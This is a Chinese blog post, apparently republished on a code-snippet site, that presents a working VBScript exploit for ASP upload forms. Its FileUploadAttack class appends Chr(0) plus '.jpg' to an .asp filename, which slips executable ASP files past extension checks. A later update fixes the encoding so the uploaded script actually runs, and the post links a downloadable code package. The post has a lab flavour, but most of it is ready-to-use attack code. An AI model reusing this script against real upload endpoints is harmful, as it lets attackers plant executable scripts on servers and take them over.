主頁 > 知識庫 > ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本

ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本

熱門標簽:創(chuàng)意電話機器人 濟源電銷外呼系統(tǒng)線路 世界地圖標注了哪些城市 java外呼系統(tǒng)是什么 外呼線路批發(fā) 梧州市地圖標注 地圖標注陽江 武穴地圖標注 石家莊慧營銷外呼系統(tǒng)

今天Demon 提到了這個問題,正好想到之前看到的一篇文章《Automatic file upload using IE+ADO without user interaction - VBSscript》 。這篇文章給出了本地無交互自動上傳腳本的示例,正好今天可以借來一用,原腳本利用了InternetExplorer.Application組件,我改寫了一下,用WinHttp.WinHttpRequest.5.1實現(xiàn)了類似的功能,關(guān)于這個組件更多的用法請參考《WinHttpRequest Object Reference》 。

復制代碼 代碼如下:

Option Explicit

Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function

' 代碼修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName

Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
"WinHttp.WinHttpRequest.5.1")
End Sub

Private Sub Class_Terminate()
Set m_objWinHttp = Nothing
End Sub

Public Sub setUrl(url)
m_strUrl = url
End Sub

Public Sub setFieldName(name)
m_strFieldName = name
End Sub

'Infrormations In form field header.
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template For multipart header
MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _
" filename=""{file}""" + vbCrLf + _
"Content-Type: {ct}" + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, "{field}", FieldName)
Out = Replace(Out, "{file}", FileName)
mpFields = Replace(Out, "{ct}", ContentType)
End Function
'Converts OLE string To multibyte string
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function

'Build multipart/form-data document with file contents And header info
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = "application/upload"

'The two parts around file contents In the multipart-form data.
Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + "--" + Boundary + "--" + vbCrLf

'Build form data using recordset binary field
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
RS.Fields.Append "b", adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convert Pre string value To a binary data
LenData = Len(Pre)
RS("b").AppendChunk (StringToMB(Pre) ChrB(0))
Pre = RS("b").GetChunk(LenData)
RS("b") = ""

'Convert Po string value To a binary data
LenData = Len(Po)
RS("b").AppendChunk (StringToMB(Po) ChrB(0))
Po = RS("b").GetChunk(LenData)
RS("b") = ""

'Join Pre + FileContents + Po binary data
RS("b").AppendChunk (Pre)
RS("b").AppendChunk (FileContents)
RS("b").AppendChunk (Po)
RS.Update
FormData = RS("b")
RS.Close
BuildFormData = FormData
End Function


Public Function sendFile(fileName)
Const Boundary = "---------------------------0123456789012"
m_objWinHttp.Open "POST", m_strUrl, False
m_objWinHttp.setRequestHeader "Content-Type", _
"multipart/form-data; boundary=" + Boundary

Dim FileContents, FormData
'Get source file As a binary data.
FileContents = file_get_contents(FileName)

' 下面構(gòu)造了惡意文件擴展名Chr(0) .jpg
'Build multipart/form-data document
FormData = BuildFormData(FileContents, Boundary, _
FileName Chr(0) ".jpg", m_strFieldName)

m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function

Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class

Function VBMain()
VBMain = 0

Dim fileUpload
Set fileUpload = New FileUploadAttack
' 需要修改下面內(nèi)容為合適內(nèi)容
' 上傳url
fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
fileUpload.setFieldName "filepath" ' 上傳表單框的name
' 需上傳文件路徑
If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
MsgBox "上傳成功" fileUpload.getText()
Else
MsgBox "失敗"
End If
Set fileUpload = Nothing
End Function

Call WScript.Quit(VBMain())

上傳功能是隨便在網(wǎng)上找的一個簡單上傳ASP文件,然后加入我在文章中《ASP/VBScript中CHR(0)的由來以及帶來的安全問題》所述的GetFileExtensionName判斷擴展名是否是jpg。

測試結(jié)果是:手動上傳asp,失??;利用上述攻擊腳本上傳asp文件,成功!在上傳目錄中確實是asp文件,通過瀏覽器URL也能訪問這個asp文件,只是奇怪的是顯示一片空白,我這里是IIS 7,難道是IIS版本問題,或許是file_get_contents應該返回文件的二進制流?好了,這個問題先擱在這兒,還有其他事,先閃了。

所有實驗代碼包,在這里upload.zip(代碼BUG參考下面更新說明)下載。

2011年12月25日更新

根據(jù)大家反饋的上傳文件變成Unicode Little Endian編碼問題,首先抱歉的是當時確實偷懶了,主要代碼參考的老外的,而且老外說明了一下GetFile這個函數(shù)獲取文件二進制數(shù)據(jù),沒找到這個函數(shù)實現(xiàn),也懶得去弄二進制讀取,直接搞了個file_get_contents獲取文本數(shù)據(jù),事實證明這樣確實存在問題,下面我把補救措施說明一下吧,還是偷懶一下,直接在現(xiàn)有的基礎上將文本數(shù)據(jù)轉(zhuǎn)換為二進制數(shù)據(jù)。使用ADODB.Stream組件,函數(shù)如下:

復制代碼 代碼如下:

' 將指定charset的字符串str轉(zhuǎn)換為二進制
Function strtobin(str, charset)
With WSH.CreateObject("ADODB.Stream")
.Type = 2
.Mode = 3
.Open
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1

strtobin = .Read()
.Close
End With
End Function

然后將上述代碼的第106行改成下面這樣(以ASCII讀取文本):

復制代碼 代碼如下:

FileContents = strtobin(file_get_contents(FileName), "ASCII")

這樣改過后上傳的ASP文件就是普通編碼的文件了,然后瀏覽器訪問這個文件,可以看到該ASP被成功解析。

不過這里覺得啰嗦了一點,其實可以直接以二進制打開文件并返回數(shù)據(jù),這里進行了兩步:1.以文本方式讀取文件;2.將文本轉(zhuǎn)換為二進制數(shù)據(jù)。一步到位的代碼可以參考下面一次以二進制Byte()方式讀取文件數(shù)據(jù)的函數(shù):

復制代碼 代碼如下:

'Returns file contents As a binary data
Function GetFile(FileName)
Dim Stream: Set Stream = CreateObject("ADODB.Stream")
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End Function

更優(yōu)化的代碼我就不寫了,主要說明的是一個上傳思路,如果大家希望得到完善的上傳實現(xiàn),可以參考Demon的《VBS模擬POST上傳文件》 。
原文: https://www.jb51.net/article/26103.htm

您可能感興趣的文章:
  • IIS6 中"ASP 0201 錯誤 無效的默認腳本語言" 的解決方法
  • 使用ASP控制指定站點解析腳本語言函數(shù)
  • 用InstallShield打包ASP程序的腳本
  • asp分頁生成html的程序腳本代碼
  • 隱藏修改文件時間和文件屬性的ASP腳本
  • ASP.NET調(diào)用javascript腳本的常見方法小結(jié)
  • 從一個網(wǎng)站扒下的asp生成靜態(tài)頁面的代碼 腳本之家特供版
  • iis、apache與nginx禁止目錄執(zhí)行asp、php腳本的實現(xiàn)方法
  • ASP中Server.Execute和Execute實現(xiàn)動態(tài)包含(include)腳本的區(qū)別
  • ASP.NET中后臺注冊js腳本使用的方法對比
  • ASP程序中常用的腳本語言

標簽:唐山 滁州 甘南 淮北 揭陽 南寧 來賓 迪慶

巨人網(wǎng)絡通訊聲明:本文標題《ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本》,本文關(guān)鍵詞  ASP,上傳,漏洞,之,利用,CHR,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本》相關(guān)的同類信息!
  • 本頁收集關(guān)于ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章